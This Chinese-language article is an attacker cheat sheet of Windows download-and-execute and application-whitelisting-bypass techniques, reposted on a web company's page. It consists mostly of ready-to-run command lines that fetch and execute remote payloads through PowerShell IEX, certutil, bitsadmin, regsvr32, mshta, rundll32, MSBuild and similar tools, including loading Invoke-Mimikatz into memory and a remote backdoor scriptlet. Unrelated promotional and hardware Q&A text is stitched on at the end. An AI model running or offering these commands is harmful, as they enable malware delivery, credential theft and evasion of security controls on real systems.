在各種釣魚、挖礦、勒索、組建僵尸網絡、基礎滲透、后滲透過程當中,攻擊者都會通過一些方法去下載執行惡意代碼并執行完成攻擊操作,比如前段時間通過Office DDE執行powershell的,利用宏執行VBS的,繞過權限限制完成危險命令執行的等等,都需要用到文件下載/上傳姿勢,一般說按照途徑可以分為:
而payload執行則具體可以分為有文件類和無文件類,具體分的話就是內存執行、本地緩存、磁盤文件下面我們會總結一些下載和執行的方法,其中也大量包含一些AppLocker ByPass技術和dll注入技術,部分也可以用于后門創建,大家可以根據不同的環境和場景選擇使用,當然我會不斷地收集各種姿勢來更新本文以求更為全面。
powershell是最著名的一種方法了,一般的文件下載命令如下
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://formsec.cn/test.exe','C:test.exe')powershell (Invoke-WebRequest http://formsec.cn/test.jpg -O test.jpg)
當然也可以從UVC讀取
powershell -exec bypass -f \webdavserverfolderpayload.ps1
首先就是執行UNC路徑下的文件
cscript //E:jscript \webdavserverfolderpayload.txt
其次就是通過echo寫入vbs腳本,再通過cscript來執行
● echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> c:windowstempd.vbs ● C:UsersAdministrator>cscript c:d.vbs http://formsec.cn/443.exe c:443.exe
bitsadmin是一個命令行工具,可用于創建下載或上傳工作和監測其進展情況。不支持https、ftp協議
bitsadmin /TRANSFER /DOWNLOAD http://download.sysinternals.com/files/PSTools.zip E:PSTools.zipbitsadmin /TRANSFER /DOWNLOAD \webdavserverfolderpayload.ps1 E:payload.ps1bitsadmin /TRANSFER /UPLOAD E:payload.ps1 \webdavserverfolderpayload.ps1
Certutil是一個命令行程序,它是作為證書服務的一部分安裝的??梢允褂肅ertutil轉儲并顯示證書頒發機構(CA)配置信息、配置證書服務、備份和恢復CA組件,并驗證證書、密鑰對和證書鏈。
certutil -urlcache -split -f http://formsec.cn/payload payload
Windows debug 是一個系統自帶的程序調試工具,他有一個功能可以將十六進制轉化為可執行文件,所以我們的思路就是將需要上傳的可執行文件轉化成hex文件,通過echo命令寫入目標系統中,最后通過debug將hex還原成可執行文件,這一部分具體步驟可參考我之前的一篇文章Link:
ftp也是一種比較經典的方法,核心就是通過ftp -s:filename.txt去執行filename里邊的ftp命令
echoopen192.168.1.123 21> ftp.txtechoftp>> ftp.txtechobin >> ftp.txtechoftp>> ftp.txtechoGET ssss2.exe >> ftp.txtftp-s:ftp.txt
csc.exe是微軟.NET Framework 中的C#編譯器,Windows系統中默認包含,可在命令行下將cs文件編譯成exe
當然思路還是將cs文件echo寫入目標系統
echo using System.Net;class WebDL { static void Main(string[] args){System.Net.WebClient client = new WebClient();client.DownloadFile(args[0],args[1]);}} > c:windowstempdl.cs
然后調用csc.exe編譯cs文件并執行
c:windowsmicrosoft.netframeworkv3.5csc /out:c:windowstempdl.exe c:windwstempdl.csc:windowstempdl.exe http://formsec.cn/svhost.exe c:windowstempsvhost.exe
以下就是一個js的downloader,和vbs的一樣可以直接echo寫入服務器執行
varObject = WScript.CreateObject("MSXML2.XMLHTTP");Object.open("GET","http://formsec.cn/test.exe",false);Object.send();if(Object.Status == 200){varStream = WScript.CreateObject("ADODB.Stream");Stream.Open();Stream.Type = 1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("E:\test\ssss2.exe", 2);Stream.Close();}
也可以配合rundll32一句話完成下載
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://formsec.cn/test.exe",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("E:\test\ssss2.exe",2);Stream.Close();}
Windows本身是沒有curl和wget的,但是在一些其他軟件當中會集成curl.exe,比如說Cmder當中,如果在滲透過程當中遇到了Cmder,那就完全可以通過curl來完成下載操作。
對于某些無文件滲透場景,powershell可以直接加載到內存執行是很常見的
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatzpowershell -exec bypass -c "iwr https://gist.githubusercontent.com/Urahara3389/d83b6f9ccedf9aa53f70d987360dbc0e/raw/53ad790f87e0fd2c9449d5359358cd251c39297a/calc.ps1|iex"Get-Content script.ps1 | iex
除了powershell.exe外,win10以上系統可以使用SyncAppvPublishingServer.exe來執行powershell
SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('http://formsec.cn/script.ps1') | IEX
runscripthelper.exe是在Windows 10 RS3中引入的,它所做的事情是從一個特定的目錄讀取PowerShell代碼并執行這些代碼。
runscripthelper.exe surfacecheck \?C:TestMicrosoftDiagnosisscriptstest.txt C:Test
Links:
使用wmic創建進程執行程序
wmic process call create calc
Links:
Windows程序兼容性助理(Program Compatibility Assistant)的一個組件,通過-a參數可以直接執行exe或者dll
C:windowssystem32pcalua.exe -a C:file.lnk C:windowssystem32pcalua.exe -a notepad.exe C:windowssystem32pcalua.exe -a \serverpayload.dll
Links:
InstallUtil是.NET框架的一部分,允許用戶通過命令提示快速安裝和卸載應用程序
x86 - C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dllx64 - C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.exe
當然可以結合其他命令使用,比如Certutil
certutil -urlcache -split -f http://formsec.cn/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil /logfile= /LogToConsole=false /u payload.dll
Links:
Regsvcs.exe(.NET 服務安裝工具) 、 Regasm.exe(程序集注冊工具)
x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe AllTheThings.dllx64 C:WindowsMicrosoft.NETFramework64v4.0.30319regsvcs.exe AllTheThings.dllx86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U AllTheThings.dllx64 C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /U AllTheThings.dll
Links:
執行本地腳本
regsvr32.exe /s /u /i:file.sct scrobj.dll
加載遠程腳本執行
regsvr32.exe /s /u /i:http://formsec.cn/file.sct scrobj.dllregsvr32 /u /n /s /i:\webdavserverfolderpayload.sct scrobj.dll
Links:
rundll32就很熟悉了,主要用于在內存中運行dll文件,它們會在應用程序中被使用
rundll32 AllTheThings.dll,EntryPointrundll32 javascript:"..mshtml,RunHTMLApplication";o=GetObject("script:http://formsec.cn/payload.sct");window.close();rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject("WScript.Shell");w.run("calc");window.close()");rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Links:
利用Office word 的/l參數來加載dll文件
winword.exe /l dllfile.dll
通過安裝一個V**配置從Webdav加載DLL,可以參考以下鏈接
cmstp.exe /ni /s c:cmstpCorpV**.inf
Links:
和cmstp一樣用于加載dll
InfDefaultInstall.exe shady.inf
[Version] Signature=$CHICAGO$[DefaultInstall]UnregisterDlls = Squiblydoo[Squiblydoo]11,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct
MavInject32.exe是微軟應用程序虛擬化的一部分,可以直接完成向某一進程注入代碼
"C:Program FilesCommon Filesmicrosoft sharedClickToRunMavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>
msiexec是一個可用于從命令行安裝或配置產品的Microsoft程序。 如果環境配置不正確,使用.MSI文件可能允許攻擊者執行特權升級或繞過AppLocker規則。
msiexec /quiet /i cmd.msi msiexec /q /i http://192.168.100.3/tmp/cmd.png
Links:
Msht具有執行內聯腳本的能力,它將下載并執行一個腳本作為有效負載:
mshta vbscript:Close(Execute("GetObject(""script:http://formsec.cn/payload.sct"")"))
mshta接受URL作為一個參數來執行HTA
mshta http://formsec.cn/payload.htamshta \webdavserverfolderpayload.hta
fsi.exe用于在控制臺中交互式地運行fcode,或者執行fscript。
fsi.exe c:folderd.fscript
Links:
如果安裝了TAEF(Test Authoring and Execution Framework)框架并且位于列入白名單的路徑中,則可以使用它。 默認位置是:C: program files(x86)Windows Kits10testingRuntimesTAEF
te.exe bypass.wsc
Links:
ATBroker.exe /start malware
Links:
一個選擇并對文件或文件集執行命令的工具。 此命令可用于批處理。
forfiles /p c:windowssystem32 /m notepad.exe /c calc.exe
這個和regsvr32很類似。它可以執行一個顯示特定函數的DLL。需要注意的是他不一定需要.dll的后綴名文件。
odbcconf /s /a {regsvr \webdavserverfolderpayload_dll.txt}odbcconf -f file.rsp
Microsofts Signed Binary Involved
Open .diagcab package
Links:
BgInfo是一個Microsoft實用程序,它可以在桌面背景中直接顯示計算機的系統信息。
bginfo.exe bginfo.bgi /popup /nolicprompt
Links:
.NET Execution Environment(DNX) 是一個SDK 和運行時環境,它包含所有的你需要創建和運行.net應用程序的組件??梢詧绦蠧#代碼
dnx.exe consoleapp
Links:
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
和dnx一樣csi和rcsi都可以執行C#代碼,但csi是交互式的而rcsi不是。
rcs.exe bypass.csxrcsi.exe bypass.csx
Links:
dfsvc.exe是用來檢查應用程序是否已經安裝并且是最新的,如果需要的話將應用程序下載到用戶AppData中的ClickOnce文件夾,然后從當前位置(隨著每次更新而改變)啟動它。NetSPI團隊在之前有分析過利用ClickOnce這種方法在釣魚當中的利用,但在滲透中還是需要一定的場景。
rundll32.exe dfshim.dll,ShOpenVerbApplication http://formsec.cn/application/?param1=foo
Links:
根據Microsoft的msxsl.exe命令行程序,用戶能夠使用Microsoft XSL處理器執行命令行可擴展樣式表語言(XSL)。 但是,這個二進制文件可以用來執行惡意的JavaScript代碼并繞過應用程序白名單保護。
msxsl.exe customers.xml script.xsl
Links:
IEExec.exe也是.Net框架中的一個可執行文件,能夠通過指定URL來運行托管在遠程目標上的應用程序。
C:WindowsMicrosoft.NETFramework64v2.0.50727IEExec.exe http://formsec.cn/bypass.exe
Links:
MSBuild,它引入一種新的基于 XML 的項目文件格式,這種格式容易理解、易于擴展并且完全受 Microsoft 支持。MSBuild 項目文件的格式使開發人員能夠充分描述哪些項需要生成,以及如何利用不同的平臺和配置生成這些項。MSBuild 編譯后生成的是.exe
它的利用姿勢是相對新穎的,可以參考以下文章
C:WindowsMicrosoft.NetFrameworkv4.0.30319MSBuild.exe File.csprojcmd /V /c "set MB="C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe" & !MB! /noautoresponse /preprocess \webdavserverfolderpayload.xml > payload.xml & !MB! payload.xml"
Visual studio的一部分。需要1028子文件夾中的TrackerUI.dll,可以開啟一個進程并注入dll, 當然也可以直接運行exe文件
Tracker.exe /c "C:WindowsSystem32calc.exe"Tracker.exe /d .calc.dll /c C:Windowswrite.exe
通過添加注冊表,在控制面板啟動時設置好的代碼將會被執行。這種方法可以用于bypass AppLocker,當然也可以用來設置后門。
reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls"/v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"
Links:
在Windows 7以后系統中,微軟有一個名為PubPrn.vbs的WSH腳本,其中使用了GetObject(),并且參數可控,可以進行WSH注入攻擊
C:WindowsSystem32Printing_Admin_Scriptsen-USpubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c662171a568/raw/709aff66095b7f60e5d6f456a5e42021a95ca802/test.sct
Links:
和Pubprn.vbs類似,不過它需要配合注冊表,其中用到CreateObject()實例化 Scripting.Dictionary存在劫持后導致代碼執行
cscript /b C:WindowsSystem32slmgr.vbswinrm quickconfig
Links:
windows自帶的診斷工具,可以執行exe文件
PS C:> . C:WindowsdiagnosticssystemAEROCL_Invocation.ps1PS C:> SyncInvoke cmd.exe "/c ipconfig > E:ip.txt"
Assembly.load是.Net Framework中System.Reflection namespace中的一種方法,該方法會有多個重載版本,其中一個就是提供程序集的詳細信息,即程序集的標識,包括程序集的名稱,版本,區域信息,公有密鑰標記,全部都是以一個字符串的形式提供,例如:“MyAssembly,Version=1.0.0.0,culture=zh-CN,PublicKeyToken=47887f89771bc57f”。它可以從內存、本地磁盤或者URL當中調用文件。.NET程序集最初只是讀取權限,為了枚舉與二進制文件相關聯的方法和屬性,又將權限更改為執行。所以這種方法只能執行C#編譯的程序。
這里使用以下代碼進行介紹
namespace formsec{ public class test { public static void exec() { System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "c:\windows\system32\calc.exe"; proc.Start(); } static void Main(string[] args) { exec(); } }}
這樣利用Assembly.Load在powershell中直接將文件讀取到內存當中,并執行代碼當中的shellcode
PS C:> $bytes = [System.IO.File]::ReadAllBytes(".formsec.exe")PS C:> [Reflection.Assembly]::Load($bytes)PS C:> [formsec.test]::exec()
另外在windows自帶的診斷工具中有一個CL_LoadAssembly.ps1文件其中也用到了該方法,同樣可以用上述方法來執行C#的程序,步驟如下
PS C:> # powershell -v 2 -ep bypassPS C:> cd C:windowsdiagnosticssystemAEROPS C:windowsdiagnosticssystemAERO> import-module .CL_LoadAssembly.ps1PS C:windowsdiagnosticssystemAERO> LoadAssemblyFromPath ........formsec.exePS C:windowsdiagnosticssystemAERO> [formsec.test]::exec()
需要注意利用CL_LoadAssembly.ps1時,它只能執行通過.NET 2.0編譯完成的程序,并且執行過程中它會調用同目錄下的CL_Utility.ps1腳本,因此腳本執行必須在當前目錄(C:windowsdiagnosticssystemAERO)下,另外加載的可執行程序路徑也只能該路徑的相對路徑。
Links:
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
pcie1x是什么插口?PCIE x1插槽是為主板設計的擴展功能卡接口。如帶PCIE X1接口的聲卡、千兆網卡、擴展USB3.0接口卡、電視卡等。主板(英文:Motherboard,縮寫為Mobo,別名:motherboard,system board,logic board,motherboard,backplan主板各個插槽的名稱及與各線連接方式?1是VGA接口(連接到顯示器)2是DVI接口(...
hdtunepro漢化版怎么用hdtune中文專業版教程?1. 單擊“開始”控制面板添加或刪除程序,然后查找要更改/刪除的程序。2打開并啟動--run--regedit--Ctrl F--在搜索欄中輸入孩子的桌面--直接從軟件的注冊表信息中刪除它。然后直接刪除文件夾和便箋。...
11對戰平臺警告!檢測到不匹配是怎么回事?不運行某些程序的時候,經常會會直接出現出現了,接著該程序就關了。就像再次出現這個現象有方面的,一是硬件,即內存方面有問題,二是軟件,這就有多方面的問題了。故障分析硬件方面:一般來說,內存又出現問題的可能性并不大,比較多方面是:內存條主板壞、內存質量有問題,有應該是2個差別牌子不同容量的內存混插,也也很很容易再次出現不不兼容的情況,同樣的也要注意一點散熱問題...